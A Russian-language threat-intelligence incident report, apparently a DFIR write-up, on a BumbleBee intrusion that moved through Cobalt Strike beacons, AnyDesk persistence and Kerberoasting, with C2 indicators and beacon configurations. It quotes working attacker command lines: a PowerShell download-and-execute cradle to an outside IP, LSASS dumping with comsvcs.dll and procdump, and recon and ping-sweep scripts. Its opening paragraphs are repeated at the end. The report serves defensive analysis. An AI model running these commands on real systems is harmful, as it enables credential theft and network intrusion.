В этом вторжении в апреле 2022 года злоумышленники использовали BumbleBee в качестве начального вектора доступа.
BumbleBee — это загрузчик вредоносного ПО, о котором впервые сообщила группа анализа угроз Google в марте 2022 года. Google TAG связывает это вредоносное ПО с брокером начального доступа (IAB) под названием EXOTIC LILY, работающим с группой киберпреступников FIN12/WIZARD SPIDER/DEV-0193. Подробнее о BumbleBee читайте здесь (https://www.proofpoint.com/us/blog/threat-insight/bumblebee-is-still-transforming) и здесь (https://unit42.paloaltonetworks.com/bumblebee-malware-projector-libra/).
Во время этого вторжения злоумышленники получили доступ с помощью файла ISO и LNK, использовали несколько методов бокового перемещения, сдампили учетные данные тремя различными способами, получили учетную запись администратора домена через Kerberos и дроптнули/запустили специальный инструмент для обнаружения путей повышения привилегий.
Краткое описание взлома
В ходе этого вторжения злоумышленники действовали в среде в течение 11 дней. Вторжение началось с заархивированного ISO-файла, защищенного паролем, достоверность которого мы оцениваем со средней или высокой степенью достоверности из других отчетов, которые, вероятно, пришли по электронной почте, содержавшей ссылку для загрузки указанного zip-файла.
Этап выполнения начался с этого защищенного паролем zip-файла, который после извлечения показал бы пользователю файл ISO, который после двойного щелчка пользователя должен был монтироваться как компакт-диск или внешнее мультимедийное устройство в Windows и предоставлять пользователю один файл с именем документа в каталоге .
Когда пользователь дважды щелкает или открывает файл lnk, он непреднамеренно запускает скрытый файл, DLL (namr.dll), содержащий загрузчик вредоносного ПО Bumblebee. Оттуда загрузчик обратищается к серверам Bumblebee C2. Поначалу все было довольно тихо, только связь C2; примерно через 3 часа Bumblebee дропнул маячок Cobalt Strike с именем wab.exe на хост-плацдарм. Этот маячок Cobalt Strike впоследствии был запущен, а затем продолжил внедрение в различные другие процессы на хосте (explorer.exe, rundll32.exe). Из этих внедренных процессов хакеры начали задачи обнаружения, используя утилиты Windows, такие как ping и tasklist.
Через четыре часа после первоначального доступа злоумышленник использовал RDP для доступа к серверу с использованием учетной записи локального администратора. Затем хакер развернул AnyDesk, который был единственным наблюдаемым механизмом персистенса, использованным во время вторжения.
Затем хакер запустил обнаружение Active Directory с помощью Adfind (https://thedfirreport.com/2020/05/08/adfind-recon/).
После этой активности злоумышленники замолчали. Затем, на следующий день, они получили доступ к серверу через RDP и развернули специальный инструмент VulnRecon, предназначенный для определения локальных путей повышения привилегий на хосте Windows. Следующая проверка от злоумышленников произошла на 4-й день, когда злоумышленники снова запустили VulnRecon, но с хоста-плацдарма, а не с сервера. AdFind также использовался снова. Затем хакер передал инструмент Sysinternals Procdump через SMB в папки ProgramData на нескольких хостах в среде (https://docs.microsoft.com/en-us/sysinternals/downloads/procdump). Затем они использовали удаленные сервисы для выполнения Procdump, который использовался для создания дампа LSASS. В этот момент хакеры, похоже, искали доступы, чем те что у них были в настоящее время. Хотя они могли перемещаться горизонтально на рабочие станции и по крайней мере на один сервер, казалось, что они еще не получили контроль над учетной записью, которая предоставила им доступ, который они искали, вероятно, администратором домена или аналогичной учетной записью с высокими привилегиями.
После этой активности злоумышленники исчезли на 7 дней, когда они получили доступ к серверу через Anydesk. Опять же, они запустили VulnRecon, а затем также запустили Seatbelt, инструмент красной команды для предварительного формирования различных обнаружений на основе хоста (https://github.com/GhostPack/Seatbelt).
В последний день вторжения, на 11-й день с момента первоначального проникновения злоумышленника готовились действовать для достижения конечных целей. Злоумышленники использовали PowerShell для загрузки и выполнения нового маячка Cobalt Strike PowerShell в памяти на хосте-плацдарме. После внедрения в различные процессы злоумышленники запускали модуль PowerShell Invoke-Kerberoast. Затем они применили еще один метод дампа LSASS на хост-плацдарм, на этот раз с помощью встроенного в Windows инструмента comsvcs.dll. AdFind был запущен в сети в третий раз, а затем были дропнуты и запущены два пакетных сценария. Цель этих пакетных сценариев заключалась в том, чтобы идентифицировать все онлайн-серверы и рабочие станции в среде, что часто предшествует развертыванию программ-вымогателей путем создания целевого списка для этого развертывания.
После запуска сценариев на плацдарме был запущен новый исполняемый маячок Cobalt Strike. Затем злоумышленники использовали учетную запись службы для удаленного запуска маяка Cobalt Strike на контроллере домена. У этой служебной учетной записи был слабый пароль, который, скорее всего, был взломан в автономном режиме после того, как ранее во время вторжения был взломан с помощью Kerberos.
Затем хакеры были изгнаны из среды, прежде чем можно было предпринять какие-либо окончательные действия. Мы оцениваем, основываясь на уровне доступа и активности обнаружения с последнего дня, вероятными последними действиями было бы развертывание рансома на уровне домена.
Сервисы
Мы предлагаем несколько сервисов, включая службу Threat Feed, которая отслеживает системы управления и контроля, такие как Cobalt Strike, BumbleBee, Covenant, Metasploit, Empire, и т.д. Более подробную информацию об этой и других услугах можно найти здесь (https://thedfirreport.com/services/).
У нас также есть артефакты и IOC, доступные из этого случая, такие как pcaps, дампы памяти, файлы, журналы событий, включая пакеты Sysmon, Kape и многое другое, в рамках наших услуг по исследованию безопасности и организации.
Таймлайн
Начальный доступ
Злоумышленникам удалось получить доступ к хосту-плацдарму после успешного выполнения lnk-файла в ISO-образе, который обычно распространяется посредством рассылок по электронной почте.
Первоначальная полезная нагрузка с именем BC_invoice_Report_CORP_46.iso представляет собой ISO-образ, который после подключения побуждает пользователя открыть файл document.lnk, который запустит вредоносный загрузчик DLL, используя следующую командную строку:
C:\Windows\System32\cmd.exe /c start rundll32 namr.dll,IternalJob
Запуск инструмента Эрика Циммермана LECmd ((https://ericzimmerman.github.io/#!index.md)) выявил дополнительные подробности, связанные с хакерами. Метаданные включали имя хоста машины ТА, MAC-адрес и дату создания документа LNK:
Выполнение
Выполнение нескольких полезных нагрузок
Успешное выполнение полезной нагрузки BumbleBee (namr.dll) привело к дропингу и выполнению нескольких полезных нагрузок с использованием нескольких методов. На приведенном ниже графике показаны все полезные нагрузки, дропнутые BumbleBee, способ их выполнения и различные процессы, в которые они были внедрены:
Выполнение Кобальта
Следующий однострочный PowerShell был выполнен из wab.exe в течение 11-го дня, который загрузил обфусцированный PowerShell и выполнил его в памяти:
C:\Windows\system32\cmd.exe /C powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://104.243.33.50:80/a'))"
Поскольку загрузка происходила по незашифрованному HTTP-каналу, сетевой трафик был хорошо виден.
Эту полезную нагрузку можно деобфусцировать, используя следующий рецепт CyberChef:
Regular_expression('User defined','[a-zA-Z0-9+/=]{30,}',true,true,false,false,false,false,'List matches')
From_Base64('A-Za-z0-9+/=',true)
Gunzip()
Label('Decode_Shellcode')
Regular_expression('User defined','[a-zA-Z0-9+/=]{30,}',true,true,false,false,false,false,'List matches')
Conditional_Jump('',false,'',10)
From_Base64('A-Za-z0-9+/=',true)
XOR({'option':'Decimal','string':'35'},'Standard',false)
После деобфускации мы можем обнаружить заголовок MZRE, который является частью стандартной конфигурации Cobalt Strike:
Один из самых простых способов извлечь ценную информацию из этого шеллкода — использовать инструмент Didier Stevens 1768.py (https://github.com/DidierStevens/DidierStevensSuite/blob/master/1768.py):
Сервер управления и контроля был размещен на 108.62.12.174/dofixifa.co). Полное
Персистенс
AnyDesk и его установка в качестве службы использовались для сохранения и создания бэкдора в сети.
Повышение привилегий
GetSystem
Злоумышленники допустили ошибку, запустив команду getsystem не в той консоли (консоль оболочки, а не в консоли маячка).
Родительским процессом этой команды был C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc , процесс, в который был внедрен Cobalt Strike:
C:\Windows\system32\cmd.exe /C getsystem
Эта команда является встроенной командой Cobalt Strike, которая используется для получения привилегий SYSTEM. Подробное описание этой функции задокументировано в официальном блоге Cobalt Strike, а также подробно описано в нашем блоге Cobalt Strike.
Действительные учетные записи
Хакеры получили и злоупотребили учетными данными учетных записей привилегированного домена, чтобы получить повышение привилегий в домене.
Они также использовали учетные записи локальных администраторов.
Учетная запись службы с разрешениями администратора домена использовалась для создания удаленной службы на контроллере домена для горизонтального перемещения.
Уклонение от защиты
Инжекция процесса
Техника внедрения в процесс использовалась несколько раз для внедрения в различные процессы. Почти каждое задание постэксплуатации запускалось из внедренного процесса.
Сразу после выполнения процесс wab.exe создал два удаленных потока для внедрения кода в explorer.exe и rundll32.exe:
Злоумышленники также создали удаленный поток в svchost.exe:
Затем были порождены есколько процессов
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
для выполнения различных методов (перечисление, сброс учетных данных и т. д.):
Сканирование Yara памяти процесса с использованием правила Malpedia Cobalt Strike выявило различные инъекции на хостах.
Удаление индикатора на хосте: удаление файла
Мы наблюдали, как злоумышленники удаляли свои инструменты (Procdump, скрипты сканирования сети и т. д.) с хостов.
В таблице ниже показан пример удаления ProcDump из папки ProgramData всех целевых рабочих станций после дампа процесса LSASS:
Доступ к учетным данным
Дамп LSASS
Минидамп
Злоумышленники сдампили процесс LSASS с плацдарма, используя технику comsvcs.dll MiniDump через маячок C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc:
cmd.exe /C rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 968 C:\ProgramData\REDACTED\lsass.dmp full
ProcDump
Злоумышленники также удаленно сбросили procdump.exe и procdump64.exe на несколько рабочих станций, сдампили LSASS и удалили их из папки ProgramData:
Утилита ProcDump была запущена на этих рабочих станциях с помощью следующей командной строки:
C:\programdata\procdump64.exe -accepteula -ma lsass.exe C:\ProgramData\lsass.dmp
Кербероастинг
Команда Invoke-Kerberoast выполнялась с плацдарма через svchost.exe — процесс, в который внедряли злоумышленники:
Вот выдержка из PowerShell EventID 800, показывающая различные параметры Invoke-Kerberoast, используемые злоумышленниками, включая формат вывода HashCat:
IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:36177/'); Invoke-Kerberoast -OutputFormat HashCat | fl | Out-File -FilePath C:\ProgramData\REDACTED\ps.txt -append -force -Encoding UTF8
Сразу после выполнения Invoke-Kerberoast журналы DC показывают, что с узла плацдарма было запрошено несколько билетов службы Kerberos, с типом шифрования билетов, установленным на 0x17 (RC4), и параметрами билетов на 0x40810000 для учетных записей служб.
Примерно через 3 часа одна из учетных записей службы вошла в один из контроллеров домена с плацдарма.
Мы с высокой степенью достоверности оцениваем, что пароль служебной учетной записи был слабым и взломан злоумышленниками в автономном режиме.
Разведка
Системная информация и обнаружение программного обеспечения
Маячком wab.exe были запущены следующие команды:
whoami
ipconfig /all
tasklist
systeminfo
wmic product get name,version
wmic /node:<REDACTED> process list brief
net view \\<REDACTED>\Files$ /all
dir \\<REDACTED>\C$\
Используя тот же маяк, wab.exe, список задач также использовался для удаленного перечисления процессов на нескольких хостах:
tasklist /v /s <REMOTE_IP>
Обнаружение групп администраторов и доменов
Как мы уже видели в нескольких случаях, злоумышленники перечисляли группу локальных администраторов и группы администраторов домена (Enterprise и DA) в основном с помощью команды net:
net use
net group "Domain computers" /dom
net group "Enterprise admins" /domain
net group "domain admins" /domain
net localgroup administrators
nltest /dclist:
nltest /domain_trusts
ping -n 1 <REMOTE_IP>
Ошибка оператора
Злоумышленники не смогли выполнить часть своих задач, выполнив команду не в той консоли:
C:\Windows\System32\rundll32.exe
➝ C :\Windows\system32\cmd.exe /C shell whoami /all
Можно с большой уверенностью утверждать, что этап разведки не был полностью автоматизирован, а злоумышленники вручную выполняли команды и допустили ошибку в одной из них.
AdFind
Чтобы перечислить Active Directory, злоумышленники запускали AdFind с узла-плацдарма в трех разных случаях:
Источник выполнения, инициирующий родительский процесс, в каждом случае был разным, а имя двоичного файла AdFind и файлов результатов в одном случае были разными, что может указывать на то, что несколько хакеров получали доступ к сети.
Сканирование сети
Злоумышленники использовали два сценария с именами s.bat (для серверов) и w.bat (для рабочих станций) для проверки связи с хостами и сохранения результатов в двух файлах журнала:
s.bat-скрипт:
off
for /f %%i in (servers.txt) do for /f "tokens=2 delims=[]" %%j in ('ping -n 1 -4 "%%i"') do %%j >> serv.log
off
for /f %%i in (workers.txt) do for /f "tokens=2 delims=[]" %%j in ('ping -n 1 -4 "%%i"') do %%j >> work.log
Оба этих сценария были выполнены из маячка PowerShell Cobalt Strike (powershell.exe).
Invoke-ShareFinder
Invoke-ShareFinder — это модуль PowerShell, который является частью PowerView.
Invoke-ShareFinder — находит (нестандартные) общие ресурсы на хостах в локальном домене
Злоумышленники выполнили перечисление общих ресурсов с помощью Invoke-ShareFinder.
IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:39303/');
Invoke-ShareFinder -CheckShareAccess -Verbose | Tee-Object ShareFinder.txt
Поскольку rundll32.exe выполнял PowerShell, мы видим, что rundll32.exe создал выходной файл ShareFinder.txt в C:\ProgramData\.
SeatBelt
Инструмент SeatBelt использовался злоумышленниками на сервере для обнаружения потенциальных неправильных настроек безопасности.
Seatbelt — это проект C#, который выполняет ряд ориентированных на безопасность проверок безопасности хоста, актуальных как с наступательной, так и с оборонительной точки зрения безопасности.
Злоумышленники провели полную разведку, указав флаг -group=all:
Seatbelt.exe -group=all -outputfile="C:\ProgramData\seatinfo.txt"
Злоумышленники сбросили два двоичных файла с именами vulnrecon.dll и vulnrecon.exe на два хоста. Это первый раз, когда мы наблюдаем этот инструмент. Эта библиотека, по-видимому, представляет собой специальный инструмент, разработанный для помощи злоумышленникам в перечислении локального повышения привилегий Windows.
vulnrecon.dll PDB: D:\a\_work\1\s\artifacts\obj\win-x64.Release\corehost\cli\apphost\standalone\Release\apphost.pdb
vulnrecon.exe PDB: D:\work\rt\VulnRecon\VulnRecon\obj\Release\net5.0\VulnRecon.pdb
В таблице ниже представлены возможности инструмента:
Ниже приведен список всех поддерживаемых в настоящее время (или реализованных) перечислений CVE через сопоставление установленных KB:
Злоумышленники несколько раз запускали этот инструмент на пациенте 0 с низкоуровневыми привилегиями и снова на сервере с правами администратора. Ниже приведены все командные строки, запускаемые злоумышленниками:
Боковое передвижение
Боковая передача инструмента
С помощью маячка Cobalt Strike злоумышленники перенесли файл AnyDesk (1.exe) с плацдарма на сервер:
Злоумышленники также перенесли ProcDump с плацдарма на несколько рабочих станций:
Удаленные службы
Протокол удаленного рабочего стола
Злоумышленники использовали файл explorer.exe, в который они были ранее внедрены, для инициирования прокси-подключения RDP к серверу:
Злоумышленники совершили первое горизонтальное перемещение с плацдарма на сервер по протоколу RDP с учетной записью администратора:
Это первое боковое перемещение было выполнено для того, чтобы сбросить и установить AnyDesk.
Общие ресурсы администратора SMB/Windows
Удаленное обслуживание через RPC
Несколько RPC-подключений были инициированы процессом rundll32.exe, в который ранее был внедрен wab.exe:
Эти RPC-подключения нацелены на несколько хостов, включая рабочие станции, серверы и контроллеры домена.
Как мы видим, на одном из серверов, который был атакован, вредоносное ПО использовало функцию Win32 CreateServiceA для создания удаленной службы через RPC на сервере.
Cobalt Strike со встроенным PsExec
Злоумышленники использовали встроенную команду Cobalt Strike jump psexec для бокового перемещения. При каждом использовании этой функции создавалась удаленная служба со случайными буквенно-цифровыми символами, именем службы и именем файла службы, например. «<7 буквенно-цифровых символов>.exe».
Ниже приведен пример службы edc603a, созданной на контроллере домена:
Учетная запись, используемая для выполнения этого горизонтального перемещения, была одной из учетных записей службы, загруженных с помощью Kerberos.
Служба запускает процесс rundll32.exe без аргументов. Этот процесс был направлен на (108.62.12.174/dofixifa.co), второй Cobalt Strike C2, использовавшийся в последний день этого вторжения.
Мы наблюдали, как этот маяк выполняет различные методы (внедрение процессов в процесс svchost через CreateRemoteThread, именованные каналы по умолчанию и т. д.).
СС
На приведенном ниже графике показаны все соединения с вредоносными IP-адресами, сделанные сброшенными полезными нагрузками или процессами, в которые злоумышленники внедрили:
BumbleBee
142.91.3[.]109
45.140.146.30
Все активные команды и элементы управления Bumblebee имеют общую конфигурацию сервера в отношении настройки TLS.
JA3: c424870876f1f2ef0dd36e7e569de906
JA3s: 61be9ce3d068c08ff99a857f62352f9d
Certificate: [76:28:77:ff:fe:26:5c:e5:c6:7a:65:01:09:63:44:6d:57:b7:45:f2 ]
Not Before: 2022/04/12 06:33:52 UTC
Not After: 2023/04/12 06:33:52 UTC
Issuer Org: Internet Widgits Pty Ltd
Subject Org: Internet Widgits Pty Ltd
Public Algorithm: rsaEncryption
Cobalt Strike
Cobalt Strike (CS) широко использовался во время этого вторжения, злоумышленники использовали CS в качестве основного инструмента управления и контроля, дропнули несколько полезных нагрузок и внедрили их в несколько процессов на разных хостах.
Серверы C2
Во время этого вторжения использовались два сервера CS C2. На приведенном ниже графике показана активность маячков с течением времени, мы можем заметить непрерывное использование первого сервера C2 (45.153.243.142/fuvataren.com) с первого дня и второго сервера C2 (108.62.12.174/dofixifa.co) только в последний день вторжения (день 11):
Основной маячок wab.exe:
45.153.243.142
fuvataren.com
Ниже представлена конфигурация Cobalt Strike этого C2, экспортированная из результатов анализа песочницы:
access_type: 512
beacon_type: 2048
host: fuvataren.com,/rs.js
http_header1: AAAAEAAAABBIb3N0OiBhbWF6b24uY29tAAAACgAAABFDb25uZWN0aW9uOiBjbG9zZQAAAAoAAAASQWNjZXB0OiBpbWFnZS9qcGVnAAAABwAAAAAAAAALAAAAAwAAAAIAAAAFSFNJRD0AAAAGAAAABkNvb2tpZQAAAAkAAAAJcmVhZD10cnVlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
http_header2: AAAAEAAAABBIb3N0OiBhbWF6b24uY29tAAAACgAAABFDb25uZWN0aW9uOiBjbG9zZQAAAAoAAAAVQWNjZXB0LUVuY29kaW5nOiBnemlwAAAACgAAAC9Db250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZAAAAAcAAAABAAAADQAAAAMAAAACAAAAB3ZhbHVlcz0AAAAEAAAABwAAAAAAAAADAAAAAgAAAA5fX3Nlc3Npb25fX2lkPQAAAAYAAAAGQ29va2llAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
http_method1: GET
http_method2: POST
jitter: 6144
polling_time: 5000
port_number: 443
sc_process32: %windir%\syswow64\rundll32.exe
sc_process64: %windir%\sysnative\rundll32.exe
state_machine: MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC5eYxmuxksHBu5Hqtk11PJye1th52fYvmUXmFrL1vEIQs9+B5NI7a6bHbSHSRN1hRJN2VQ9iwpF/11IFitmWKEbFIErjX1YCy1/1Eg+EawN4l2ReZ9lz1A9wIDUtQb8fAFYRCSn72Gzb+Pax1VKLt4Kx3QJrpduOhx4q4rdvahPQIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
unknown1
3.025605888e+09
unknown2
AAAABAAAAAIAAAJYAAAAAwAAAA8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
uri: /en
user_agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202
watermark: 1580103814
Маячок PowerShell:
108.62.12.174
dofixifa.co
JA3: a0e9f5d64349fb13191bc781f81f42e1
JA3s: ae4edc6faf64d08308082ad26be60767
Certificate: [ec:57:c5:ca:b1:ca:fb:88:3e:ce:1d:f3:89:0c:91:e3:1d:0a:75:ec ]
Not Before: 2022/03/26 00:00:00 UTC
Not After: 2023/03/26 23:59:59 UTC
Issuer Org: Sectigo Limited
Subject Common: dofixifa.com [dofixifa.com ,www.dofixifa.com ]
Public Algorithm: rsaEncryption
Полное извлечение конфигурации с помощью инструмента 1768.py:
Config found: xorkey b'.' 0x00000000 0x000031e0
0x0001 payload type 0x0001 0x0002 8 windows-beacon_https-reverse_https
0x0002 port 0x0001 0x0002 443
0x0003 sleeptime 0x0002 0x0004 5000
0x0004 maxgetsize 0x0002 0x0004 2796542
0x0005 jitter 0x0001 0x0002 48
0x0007 publickey 0x0003 0x0100 30819f300d06092a864886f70d010101050003818d0030818902818100990b95ec8c7c882213d9afae50bc2f45ddf44795ab15a01de1db4356d5514af9f0ff9e4ddb58bb4499bf716be7d04128559449c06e494347bcb06f406a291dbd4df8a783aefd759c9c471ed03476c05dcbb3320413a79c07e45f3a6617354c548b0f076710f7c858070ada7d40627c98513f4a44492c4c30b68b30cea3802c33020301000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0x0008 server,get-uri 0x0003 0x0100 'dofixifa.com,/ro'
0x0043 DNS_STRATEGY 0x0001 0x0002 0
0x0044 DNS_STRATEGY_ROTATE_SECONDS 0x0002 0x0004 -1
0x0045 DNS_STRATEGY_FAIL_X 0x0002 0x0004 -1
0x0046 DNS_STRATEGY_FAIL_SECONDS 0x0002 0x0004 -1
0x000e SpawnTo 0x0003 0x0010 (NULL ...)
0x001d spawnto_x86 0x0003 0x0040 '%windir%\\syswow64\\rundll32.exe'
0x001e spawnto_x64 0x0003 0x0040 '%windir%\\sysnative\\rundll32.exe'
0x001f CryptoScheme 0x0001 0x0002 0
0x001a get-verb 0x0003 0x0010 'GET'
0x001b post-verb 0x0003 0x0010 'POST'
0x001c HttpPostChunk 0x0002 0x0004 0
0x0025 license-id 0x0002 0x0004 0
0x0026 bStageCleanup 0x0001 0x0002 1
0x0027 bCFGCaution 0x0001 0x0002 0
0x0009 useragent 0x0003 0x0100 'Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202'
0x000a post-uri 0x0003 0x0040 '/styles'
0x000b Malleable_C2_Instructions 0x0003 0x0100
Transform Input: [7:Input,4,2:338,3,8]
Print
Remove 338 bytes from begin
BASE64
NETBIOS lowercase
0x000c http_get_header 0x0003 0x0200
Const_host_header Host: gmw.cn
Const_header Connection: close
Build Metadata: [7:Metadata,8,3,2:wordpress_logged_in=,6:Cookie]
NETBIOS lowercase
BASE64
Prepend wordpress_logged_in=
Header Cookie
0x000d http_post_header 0x0003 0x0200
Const_host_header Host: gmw.cn
Const_header Connection: close
Const_header Accept-Encoding: gzip
Const_header Content-Type: text/plain
Build Output: [7:Output,15,3,4]
XOR with 4-byte random key
BASE64
Print
Build SessionId: [7:SessionId,3,2:__session__id=,6:Cookie]
BASE64
Prepend __session__id=
Header Cookie
0x0036 HostHeader 0x0003 0x0080 (NULL ...)
0x0032 UsesCookies 0x0001 0x0002 1
0x0023 proxy_type 0x0001 0x0002 2 IE settings
0x003a TCP_FRAME_HEADER 0x0003 0x0080 '\x00\x04'
0x0039 SMB_FRAME_HEADER 0x0003 0x0080 '\x00\x04'
0x0037 EXIT_FUNK 0x0001 0x0002 0
0x0028 killdate 0x0002 0x0004 0
0x0029 textSectionEnd 0x0002 0x0004 155989
0x002a ObfuscateSectionsInfo 0x0003 0x0020 '\x00p\x02\x00á\x0b\x03\x00\x00\x10\x03\x00 ·\x03\x00\x00À\x03\x00\x1cÞ\x03'
0x002b process-inject-start-rwx 0x0001 0x0002 4 PAGE_READWRITE
0x002c process-inject-use-rwx 0x0001 0x0002 32 PAGE_EXECUTE_READ
0x002d process-inject-min_alloc 0x0002 0x0004 12128
0x002e process-inject-transform-x86 0x0003 0x0100 '\x00\x00\x00\x05\x90\x90\x90\x90\x90'
0x002f process-inject-transform-x64 0x0003 0x0100 '\x00\x00\x00\x05\x90\x90\x90\x90\x90'
0x0035 process-inject-stub 0x0003 0x0010 '2ÍAíð\x81\x0c[_I\x8eßG1Ìm'
0x0033 process-inject-execute 0x0003 0x0080 '\x01\x03\x04'
0x0034 process-inject-allocation-method 0x0001 0x0002 0
0x0000
Guessing Cobalt Strike version: 4.3 (max 0x0046)
Именованные каналы по умолчанию
Злоумышленники использовали конфигурацию CS по умолчанию и именованные каналы по умолчанию. Именованные каналы были созданы для того, чтобы установить связь между процессами CS:
В данном конкретном случае злоумышленники использовали задания постэксплуатации по умолчанию, которые имеют шаблон postex_[0-9a-f]{4}.
Ниже приведен полный список всех именованных каналов по умолчанию, обнаруженных во время этого вторжения:
\postex_0dde
\postex_3e9b
\postex_4008
\postex_4429
\postex_55f8
\postex_8248
\postex_8c73
\postex_972d
\postex_fc2e
Именованные каналы обычно используются Cobalt Strike для выполнения различных техник.
AnyDesk
Как упоминалось ранее в разделе о переносе инструментов, злоумышленники удаленно сбросили бинарный файл AnyDesk на сервер с плацдарма:
Новая служба была создана (идентификатор события 7045) при выполнении установщика AnyDesk:
Журналы AnyDesk, %ProgramData%\AnyDesk\ad_svc.trace и %AppData%\AnyDesk\ad.trace, показывают, что он использовался в течение 1-го и 7-го дня этого вторжения, каждый раз используя учетную запись локального администратора. Использование AnyDesk может быть относительно легко обнаружено, если у вас есть правильные журналы (домены *.anydesk.com, пользовательский агент AnyDesk и т. д.):
Использование AnyDesk также вызвало две подписи ET:
ET POLICY SSL/TLS Certificate Observed (AnyDesk Remote Desktop Software)
ET USER_AGENTS AnyDesk Remote Desktop Software User-Agent
Файл конфигурации AnyDesk и сетевые журналы показали, что используемый идентификатор был 159889039, а исходный IP-адрес — 108.177.235.25 (LeaseWeb USA — Cloud Provider).
Нанесение удара
Во время этого вторжения не было никакого воздействия (эксфильтрация, шифрование или уничтожение данных). Тем не менее, наблюдаемые TTP показывают распространенные действия хакеров, которые могли бы привести к распространению программ-вымогателей в масштабах домена, если бы у злоумышленников было достаточно времени.
BumbleBee — это загрузчик вредоносного ПО, о котором впервые сообщила группа анализа угроз Google в марте 2022 года. Google TAG связывает это вредоносное ПО с брокером начального доступа (IAB) под названием EXOTIC LILY, работающим с группой киберпреступников FIN12/WIZARD SPIDER/DEV-0193. Подробнее о BumbleBee читайте здесь (https://www.proofpoint.com/us/blog/threat-insight/bumblebee-is-still-transforming) и здесь (https://unit42.paloaltonetworks.com/bumblebee-malware-projector-libra/).
Во время этого вторжения злоумышленники получили доступ с помощью файла ISO и LNK, использовали несколько методов бокового перемещения, сдампили учетные данные тремя различными способами, получили учетную запись администратора домена через Kerberos и дроптнули/запустили специальный инструмент для обнаружения путей повышения привилегий.
Краткое описание взлома
В ходе этого вторжения злоумышленники действовали в среде в течение 11 дней. Вторжение началось с заархивированного ISO-файла, защищенного паролем, достоверность которого мы оцениваем со средней или высокой степенью достоверности из других отчетов, которые, вероятно, пришли по электронной почте, содержавшей ссылку для загрузки указанного zip-файла.
Этап выполнения начался с этого защищенного паролем zip-файла, который после извлечения показал бы пользователю файл ISO, который после двойного щелчка пользователя должен был монтироваться как компакт-диск или внешнее мультимедийное устройство в Windows и предоставлять пользователю один файл с именем документа в каталоге .
Когда пользователь дважды щелкает или открывает файл lnk, он непреднамеренно запускает скрытый файл, DLL (namr.dll), содержащий загрузчик вредоносного ПО Bumblebee. Оттуда загрузчик обратищается к серверам Bumblebee C2. Поначалу все было довольно тихо, только связь C2; примерно через 3 часа Bumblebee дропнул маячок Cobalt Strike с именем wab.exe на хост-плацдарм. Этот маячок Cobalt Strike впоследствии был запущен, а затем продолжил внедрение в различные другие процессы на хосте (explorer.exe, rundll32.exe). Из этих внедренных процессов хакеры начали задачи обнаружения, используя утилиты Windows, такие как ping и tasklist.
Через четыре часа после первоначального доступа злоумышленник использовал RDP для доступа к серверу с использованием учетной записи локального администратора. Затем хакер развернул AnyDesk, который был единственным наблюдаемым механизмом персистенса, использованным во время вторжения.
Затем хакер запустил обнаружение Active Directory с помощью Adfind (https://thedfirreport.com/2020/05/08/adfind-recon/).
